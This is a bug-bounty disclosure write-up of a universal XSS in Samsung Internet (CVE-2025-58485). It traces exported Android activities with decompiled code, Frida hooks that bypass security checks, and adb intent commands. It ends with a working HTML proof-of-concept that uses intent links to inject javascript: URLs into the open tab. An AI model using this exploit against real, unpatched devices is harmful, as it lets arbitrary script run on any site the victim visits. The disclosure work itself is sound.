uXSS on Samsung Browser [CVE-2025-58485 SVE-2025-1879]
![uXSS on Samsung Browser [CVE-2025-58485 SVE-2025-1879]](/_next/image?url=https%3A%2F%2Fcdn.hashnode.com%2Fres%2Fhashnode%2Fimage%2Fupload%2Fv1769612322324%2F5d0547d4-f91a-49d7-bc16-70a87513b506.png&w=3840&q=75)
Introduction
This write-up explains how @YShahinzadeh and I discovered a Universal Cross-Site Scripting (UXSS) vulnerability in the Samsung Internet Browser, identified as CVE-2025-58485 and SVE-2025-1879. This issue was caused by inconsistent intent validation in exported activities. The Samsung browser is the default browser on all Samsung phones and has over 1 billion downloads on the Play Store.
New Methodology
Typically, our methodology for Android assessments focuses on traffic interception and API analysis. However, for this assessment, we shifted our strategy to a deep dive into the source code and Android-specific logic rather than network traffic. Our entry point was the AndroidManifest.xml
Entry Point: Exported Bixby Launcher Activity
The most eye-catching part in the Android manifest file is always the exported activities that can be found with this attribute android:exported="true". Based on past experience, if it has the deeplink, it makes it even better because we can call it with just one link from a Web. So there were a few activities that matched our expectations, and we started with this one:
<activity
android:theme="@android:style/Theme.Translucent.NoTitleBar"
android:name="com.sec.android.app.sbrowser.capsule.BixbySBrowserLauncherActivity"
android:exported="true"
android:excludeFromRecents="true"
android:launchMode="singleInstance"
android:noHistory="true">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data
android:scheme="samsunginternet"
android:host="com.sec.android.app.sbrowser"/>
</intent-filter>
</activity>
OnCreate
Android activities have certain methods that are called in different situations (Read More). One of these methods is onCreate, which is called first when the activity starts. We began by looking at the onCreate method of the BixbySBrowserLauncherActivity activity:
@Override // android.app.Activity
public void onCreate(Bundle bundle) throws UnsupportedEncodingException {
super.onCreate(bundle);
Log.i("BixbyLauncherActivity", "onCreate()");
SALoggingInitializer.initialize(getApplication());
handleIntent(getIntent());
finish();
}
It just receives the intent from the input and passes it to the handleIntent function:
private void handleIntent(Intent intent) throws UnsupportedEncodingException {
String pathSegments;
Log.i("BixbyLauncherActivity", "[handleIntent]");
if (isAllowedPackage(intent)) {
String action = intent.getAction();
Uri data = intent.getData();
setTaskIds(intent);
if (!"android.intent.action.VIEW".equals(action) || data == null) {
return;
}
String string = data.toString();
List<String> pathSegments2 = data.getPathSegments();
this.mPathSegments = pathSegments2;
if (pathSegments2 == null || pathSegments2.size() == 0 || (pathSegments = getPathSegments(0)) == null) {
return;
}
handleGoals(string, pathSegments);
}
}
Checker Functions: isAllowedPackage
If you look at the code for the handleIntent, there is a function called isAllowedPackage that checks the intent at the beginning. Based on its name, you can probably guess why it exists here:
private boolean isAllowedPackage(Intent intent) {
if (GEDUtils.isGED() || !"android.intent.action.VIEW".equals(intent.getAction())) {
return false;
}
Uri uri = (Uri) intent.getParcelableExtra("android.intent.extra.REFERRER");
String stringExtra = intent.getStringExtra("android.intent.extra.REFERRER_NAME");
intent.removeExtra("android.intent.extra.REFERRER");
intent.removeExtra("android.intent.extra.REFERRER_NAME");
String host = getReferrer() == null ? null : getReferrer().getHost();
intent.putExtra("android.intent.extra.REFERRER", uri);
intent.putExtra("android.intent.extra.REFERRER_NAME", stringExtra);
if (host != null && Constants.BIXBY_AGENT_PKG_NAME.equals(host)) {
return true;
}
androidx.compose.ui.text.font.a.q("NOT allowed package : ", host, "BixbyLauncherActivity");
return false;
}
It prevents random apps, deep links, emulators, etc., from starting the activity, restricting access to this component (Bixby).
This function contains three failure conditions:
if
GEDUtils.isGED()is true, the code stops immediately and denies execution.if the intent action is anything other than
android.intent.action.VIEW, the code stops and denies executionif the host (extracted from the intent referrer) equals
Constants.BIXBY_AGENT_PKG_NAME, access is allowed; otherwise, access is denied, and a log entry is written.
Check One: GEDUtils.isGED()
- GED = Generic / Emulated Device (non-Samsung execution context).:
public class GEDUtils {
public static boolean isGED() {
return ApplicationStatus.getApplicationContext().getSharedPreferences("debug_preferences", 0).getBoolean("pref_emulate_non_samsung_device", false) || PlatformInfo.SPL_VERSION == 1000;
}
}
The function detects non-Samsung or emulated environments by checking a debug preference and a platform version value. When either indicates a generic context, it flags the environment as untrusted and is used to block or alter execution paths. During emulator testing, this check was bypassed by hooking the function with Frida and reversing its return value:
var GEDUtils = Java.use("com.sec.android.app.sbrowser.common.device.GEDUtils");
GEDUtils.isGED.implementation = function () {
console.log(`GEDUtils.isGED called, original result: \({this.isGED()} new result: \){!this.isGED()}`);
return !this.isGED(); // flips the result
};
// Log: GEDUtils.isGED called, original result: true new result: false
Check Two: android.intent.action.VIEW
The second condition ensures that only intents with the action android.intent.action.VIEW are processed, while all others are rejected. However, since the caller can fully control the action, this condition does not offer significant security.
Check Three: com.samsung.android.bixby.agent
The third condition is in the referrer logic. Here, the activity checks the system referrer and only allows execution if it resolves to com.samsung.android.bixby.agent. If not, the intent is discarded.
Bixby Referrer Limits the Attack Surface
At this point, the GED check and referrer validation restricted execution to genuine Samsung devices and intents from com.samsung.android.bixby.agent. This significantly reduced the attack surface and made direct exploitation through this activity unlikely. Since our goal was to understand how it works and to comprehend the entire component, we disabled the isAllowedPackage security check using a Frida script to continue tracing the Intent (this is the most important milestone of this bug). The script simply reversed the method’s return value, changing false to true.
var BixbySBrowserLauncherActivity = Java.use("com.sec.android.app.sbrowser.capsule.BixbySBrowserLauncherActivity");
BixbySBrowserLauncherActivity["isAllowedPackage"].implementation = function (intent) {
let result = this["isAllowedPackage"](intent);
console.log(`\n\nBixbySBrowserLauncherActivity.isAllowedPackage is called: Byppassed!`);
return !result;
};
Continue to Discover Whole Flow
At the bottom of the isAllowedPackage, we encountered the snippet of code below in the handleIntent function:
String action = intent.getAction();
Uri data = intent.getData();
setTaskIds(intent);
if (!"android.intent.action.VIEW".equals(action) || data == null) {
return;
}
String string = data.toString();
List<String> pathSegments2 = data.getPathSegments();
this.mPathSegments = pathSegments2;
if (pathSegments2 == null || pathSegments2.size() == 0 || (pathSegments = getPathSegments(0)) == null) {
return;
}
handleGoals(string, pathSegments);
The code first performs a basic check on the action of the intent and ensures the data is not null. Then, it extracts the URI path segments and stops if they are missing or empty. If these conditions are met, it calls handleGoals with the full URI string and the first path segment.
We can call the handleGoals function with this adb command (while Frida is running in the background to disable isAllowedPackage):
adb shell am start \
-n com.sec.android.app.sbrowser/com.sec.android.app.sbrowser.capsule.BixbySBrowserLauncherActivity \
-a android.intent.action.VIEW \
-c android.intent.category.DEFAULT \
-c android.intent.category.BROWSABLE \
-d "samsunginternet://com.sec.android.app.sbrowser/path1/path2"
Result:
The next function that we need to review is handleGoals:
private void handleGoals(String str, String str2) throws UnsupportedEncodingException {
str2.getClass();
switch (str2) {
case "ReadWebpage":
handleReadAloud();
break;
case "OpenNewTab":
startActivityForBixby("com.sec.android.app.sbrowser.INTENT_OPEN_NEW_TAB");
break;
...
case "ShareVia":
handleShareVia(str2);
break;
case "OpenSavedpages":
startActivityForBixby("com.sec.android.app.sbrowser.INTENT_OPEN_SAVEDPAGES");
break;
case "OpenTabs":
startActivityForBixby("com.sec.android.app.sbrowser.INTENT_OPEN_TABS");
break;
case "AccessIdentifiedWebsite":
case "AccessWebsite":
handleAccessWebsite(str);
break;
...
}
}
The handleGoals checks the value of str2 and uses it to decide what to do. Each possible value maps to a specific action, and for most of them, it starts startActivityForBixby with a specific action; others call separate functions that handle additional logic. if the value is not recognized, the function does nothing.
After reviewing some of them, the AccessWebsite case, which runs handleAccessWebsite caught our attention.
Let’s see what happens inside handleAccessWebsite :
private void handleAccessWebsite(String str) throws UnsupportedEncodingException {
Log.i("BixbyLauncherActivity", "[handleAccessWebsite]");
String strSubstring = str.substring(str.indexOf("?") + 1);
String pathSegments = getPathSegments(1);
String pathSegments2 = getPathSegments(2);
if (pathSegments == null || pathSegments2 == null) {
return;
}
EngLog.d("BixbyLauncherActivity", "[handleAccessWebsite] url : " + strSubstring);
if (UrlUtils.isJavascriptSchemeOrInvalidUrl(strSubstring) || UrlUtils.isForbiddenUri(Uri.parse(strSubstring)) || UrlUtils.isDataUrl(strSubstring)) {
Log.i("BixbyLauncherActivity", "shouldIgnoreIntent, return");
return;
}
if ("null".equals(strSubstring)) {
strSubstring = getSearchUrl("default", pathSegments2, pathSegments);
}
Intent intentCreateIntentWithTargetTask = createIntentWithTargetTask("com.sec.android.app.sbrowser.INTENT_ACCESS_WEBSITE");
intentCreateIntentWithTargetTask.putExtra("extra_access_url", strSubstring);
try {
getApplicationContext().startActivity(intentCreateIntentWithTargetTask);
SALogging.sendEventLogWithoutScreenID("9188");
} catch (ActivityNotFoundException e) {
androidx.recyclerview.widget.a.k(e, new StringBuilder("[handleAccessWebsite]"), "BixbyLauncherActivity");
}
}
As shown, the function splits the incoming intent link into two parts, the path segments and the query string. Given an example:
samsunginternet://com.sec.android.app.sbrowser/AccessWebsite/pathSegments1/pathSegments2/?https://blog.voorivex.team
Everything after the ? is treated as the target URL, while seg1 and seg2 are extarcted from the path.
After confirming that the URL is safe using several checker functions, like isJavascriptSchemeOrInvalidUrl or isForbiddenUri, then the function creates a new intent, and it attaches the URL using the extra_access_url extra and the com.sec.android.app.sbrowser.INTENT_ACCESS_WEBSITE action. The intent is then passed to another activity. Let’s see in action:
adb shell am start \
-n com.sec.android.app.sbrowser/com.sec.android.app.sbrowser.capsule.BixbySBrowserLauncherActivity \
-a android.intent.action.VIEW \
-c android.intent.category.DEFAULT \
-c android.intent.category.BROWSABLE \
-d "samsunginternet://com.sec.android.app.sbrowser/AccessWebsite/pathSegments1/pathSegments2/?https://blog.voorivex.team"
Component Boundary: Intent Passed to a New Activity
Before the intent is passed to another activity, it undergoes several checks, including isJavascriptSchemeOrInvalidUrl, isForbiddenUri, and isDataUrl, to ensure it is valid.
public static boolean isJavascriptSchemeOrInvalidUrl(String str) {
String sanitizedUrlScheme = getSanitizedUrlScheme(str);
if (sanitizedUrlScheme != null) {
Locale locale = Locale.US;
if (sanitizedUrlScheme.toLowerCase(locale).equals(UrlConstants.JAVASCRIPT_SCHEME) || sanitizedUrlScheme.toLowerCase(locale).equals(UrlConstants.JAR_SCHEME)) {
return true;
}
}
return false;
}
public static boolean isForbiddenUri(Uri uri) {
String scheme = uri.getScheme();
if (scheme == null) {
return false;
}
if (!"file".equals(scheme.toLowerCase(Locale.US))) {
return !ACCEPTED_SCHEMES.contains(scheme);
}
String path = uri.getPath();
if (path == null) {
return true;
}
Iterator<String> it = FILE_WHITELIST.iterator();
while (it.hasNext()) {
if (path.startsWith(it.next())) {
return false;
}
}
return true;
}
If any of these checks return true, the method exits right away. if the extracted value is the literal string "null," the method creates a fallback search URL using the path segments instead. Only when all checks are successful does it create an intent, set extra_access_url to the URL, set the action to com.sec.android.app.sbrowser.INTENT_ACCESS_WEBSITE, and start the current activity with that intent using startActivity. To ensure which activity will be called, we used this Frida script:
// frida -U -f <package.name> -l log_startActivity.js --no-pause
Java.perform(function () {
const Activity = Java.use("android.app.Activity");
const ContextImpl = Java.use("android.app.ContextImpl");
function logIntent(intent) {
if (!intent) return;
const comp = intent.getComponent();
const extras = intent.getExtras();
console.log("=== startActivity ===");
console.log("Action :", intent.getAction());
console.log("Component :", comp ? comp.getClassName() : "null");
console.log("Data :", intent.getDataString());
if (extras) {
const keySet = extras.keySet().toArray();
console.log("Extras:");
keySet.forEach(function (k) {
console.log(" " + k + " = " + extras.get(k));
});
} else {
console.log("Extras : null");
}
console.log("=====================");
}
Activity.startActivity.overload("android.content.Intent").implementation = function (intent) {
logIntent(intent);
return this.startActivity(intent);
};
ContextImpl.startActivity.overload("android.content.Intent").implementation = function (intent) {
logIntent(intent);
return this.startActivity(intent);
};
ContextImpl.startActivity
.overload("android.content.Intent", "android.os.Bundle")
.implementation = function (intent, bundle) {
logIntent(intent);
return this.startActivity(intent, bundle);
};
});
=== startActivity ===
Action : com.sec.android.app.sbrowser.INTENT_ACCESS_WEBSITE
Component : com.sec.android.app.sbrowser.SBrowserMainActivity
Data : null
Extras:
extra_access_url = https://blog.voorivex.team/
extra_by_capsule = true
=====================
It passed to com.sec.android.app.sbrowser.SBrowserMainActivity with two extras: extra_access_url and extra_by_capsule, and the action com.sec.android.app.sbrowser.INTENT_ACCESS_WEBSITE
The Sink
We had a transition in the BixbyLauncher Activity that generated an intent and called another activity named com.sec.android.app.sbrowser.SBrowserMainActivity with the extra_access_url parameter in the intent.
So, we began tracing the flow by searching for the extra_access_url parameter throughout the entire source code:
We found this function named accessWebsite that takes an intent as input and runs loadUrl with two arguments: one is getCurrentTab() and the second is the value of extra_access_url. after hooking it, I confirmed it was the right one:
private void accessWebsite(Intent intent) {
Log.i("si__MainViewBixby", "[accessWebsite]");
loadUrl(getCurrentTab(), intent.getStringExtra("extra_access_url"));
finishEditMode();
}
var MainViewBixby = Java.use("com.sec.android.app.sbrowser.main_view.MainViewBixby");
MainViewBixby["accessWebsite"].implementation = function (intent) {
console.log(`MainViewBixby.accessWebsite is called: intent=${intent}`);
this["accessWebsite"](intent);
};
Let’s look at the loadUrl function:
private void loadUrl(final SBrowserTab sBrowserTab, final String str) {
if (sBrowserTab == null) {
this.mNewTabHandler.loadUrlWithNewTab(str, null, true, isSecretModeEnabled(), TabLaunchType.FROM_EXTERNAL_APP, false);
} else if (sBrowserTab.isNativePage() && sBrowserTab.isLoading()) {
sBrowserTab.addEventListener(new SBrowserTabEventListener() { // from class: com.sec.android.app.sbrowser.main_view.MainViewBixby.1
@Override // com.sec.android.app.sbrowser.sbrowser_tab.SBrowserTabEventListener
public void onClosed(SBrowserTab sBrowserTab2) {
sBrowserTab.removeEventListener(this);
}
@Override // com.sec.android.app.sbrowser.sbrowser_tab.SBrowserTabEventListener
public void onLoadFailed(SBrowserTab sBrowserTab2, int i, String str2) {
sBrowserTab.removeEventListener(this);
}
@Override // com.sec.android.app.sbrowser.sbrowser_tab.SBrowserTabEventListener
public void onLoadFinished(SBrowserTab sBrowserTab2, String str2) {
sBrowserTab.loadUrl(str);
sBrowserTab.removeEventListener(this);
}
});
} else {
sBrowserTab.loadUrl(str);
}
}
This method loads a URL into a browser tab. If no tab exists, it opens the URL in a new tab. If the tab is busy loading a native page, it waits until loading finishes and then loads the URL. Otherwise, the function immediately calls sBrowserTab.loadUrl(str).
This is the endpoint, and it's our final step in tracing the flow. Now we can map all the steps from beginning to end.
The Whole Flow Diagram
…
Path 1: Not Exploitable
So, there was a question: What would happen if we bypassed all those checks and got the JavaScript scheme into our loadUrl method? Would this create a vulnerability, or does it not work that way to become a vulnerability?
To answer this question, we need to bypass three checker functions using Frida and send the intent with adb.
Simply reverse the outputs of all checkers with !result;:
var BixbySBrowserLauncherActivity = Java.use("com.sec.android.app.sbrowser.capsule.BixbySBrowserLauncherActivity");
BixbySBrowserLauncherActivity["isAllowedPackage"].implementation = function (intent) {
let result = this["isAllowedPackage"](intent);
console.log(`\n\nBixbySBrowserLauncherActivity.isAllowedPackage is called: Byppassed!`);
return !result;
};
var UrlUtils = Java.use("com.sec.android.app.sbrowser.common.utils.UrlUtils");
UrlUtils["isJavascriptSchemeOrInvalidUrl"].implementation = function (str) {
let result = this["isJavascriptSchemeOrInvalidUrl"](str);
console.log(`UrlUtils.isJavascriptSchemeOrInvalidUrl is called: Byppassed!`);
return !result;
};
var UrlUtils = Java.use("com.sec.android.app.sbrowser.common.utils.UrlUtils");
UrlUtils["isForbiddenUri"].implementation = function (uri) {
let result = this["isForbiddenUri"](uri);
console.log(`UrlUtils.isForbiddenUri called: Byppassed!`);
return !result;
};
adb shell am start \
-n com.sec.android.app.sbrowser/com.sec.android.app.sbrowser.capsule.BixbySBrowserLauncherActivity \
-a android.intent.action.VIEW \
-c android.intent.category.DEFAULT \
-c android.intent.category.BROWSABLE \
-d "samsunginternet://com.sec.android.app.sbrowser/AccessWebsite/pathSegments1/pathSegments2/?javascript:alert\(origin\)"
Result:
So the answer is yes, if we can bypass the checker functions. Since loadUrl gets the current tab and opens any link, including JavaScript schemes, and executes them on the current page means we have XSS on every website the browser can access, resulting in UXSS. However, we couldn't bypass all those functions :) But it’s not the end of our write-up
Path2: Exploitable
Analyzing the whole flow revealed a critical architectural flaw (step 9). The Bixby Launcher eventually passes the request to com.sec.android.app.sbrowser.SBrowserMainActivity.
Upon reviewing the Manifest again, we discovered that SBrowserMainActivity is also exported:
<activity
android:theme="@style/MainTheme"
android:label="@string/app_name_internet"
android:name="com.sec.android.app.sbrowser.SBrowserMainActivity"
android:exported="true"
...
What happens if we just call the activity directly?
So we generate the adb command based on this:
Activity:
com.sec.android.app.sbrowser/.SBrowserMainActivityAction:
com.sec.android.app.sbrowser.INTENT_ACCESS_WEBSITEExtra String:
extra_access_url "https://google.com"Extra Boolean:
extra_by_capsule true
adb shell am start \
-n com.sec.android.app.sbrowser/.SBrowserMainActivity \
-a com.sec.android.app.sbrowser.INTENT_ACCESS_WEBSITE \
--es extra_access_url "https://google.com" \
--ez extra_by_capsule true
The SBrowser simply opened Google.com, and it worked; the Sink was the same!
However, we weren't sure if there were any checks or protections in place, so we needed to find out. The hard way would be to read the entire source code and trace the input to this point, but the easy way is to test the last payload to see if it works.
So, we simply change https://google.com to javascript:alert(origin):
adb shell am start \
-n com.sec.android.app.sbrowser/.SBrowserMainActivity \
-a com.sec.android.app.sbrowser.INTENT_ACCESS_WEBSITE \
--es extra_access_url "javascript:alert\(origin\)" \
--ez extra_by_capsule true
And finally, we saw the origin pop-ups appear on Google.com :)
Why Google.com? Because the previous tab opened was google.com, and if you remember, it gets the current tab and runs the JavaScript.
By sending this intent directly to the exported SBrowserMainActivity, an attacker can trigger a UXSS. This allows arbitrary JavaScript to run on all websites that SBrowser can open!
Proof of Concept:
We first need to open the targeted website we want to exploit. For example, in the exploit code, we first send an intent to open google.com and then use a second intent to exploit it.
<!doctype html>
<html>
<body>
<button id="openTwo" style="font-size:2em; padding:1em 2em;">Exploit</button>
<script>
const link1 = "intent://com.sec.android.app.sbrowser/SBrowserMainActivity#Intent;component=com.sec.android.app.sbrowser/com.sec.android.app.sbrowser.SBrowserMainActivity;action=com.sec.android.app.sbrowser.INTENT_ACCESS_WEBSITE;S.extra_access_url=https%3A%2f%2fwww.google.com;B.extra_by_capsule=true;B.language_code=true;end";
const link2 = "intent://com.sec.android.app.sbrowser/SBrowserMainActivity#Intent;component=com.sec.android.app.sbrowser/com.sec.android.app.sbrowser.SBrowserMainActivity;action=com.sec.android.app.sbrowser.INTENT_ACCESS_WEBSITE;S.extra_access_url=javascript%3Aalert(origin);B.extra_by_capsule=true;B.language_code=true;end";
setTimeout(() => {
window.location.href =link1 ;
for (let i = 0; i < 5; i++) {
setTimeout(() => {
window.location.href = link2;
}, 800 * (i + 1));
}
}, 500);
</script>
</body>
</html>
Timeline
7 September 2025 → Bug reported to Samsung Security
29 September 2025 → Bug acknowledged
2 December 2025 → $2,700 bounty awarded
13 January 2026 → Bug fixed
Conclusion
In terms of technical and communication skills, the Samsung team was professional, and we had a good experience with them. However, the bounty amount did not meet our expectations. Honestly speaking, we are not going to work on Samsung anymore. I hope they increase the amount of bounties because it's like an investment in hackers!



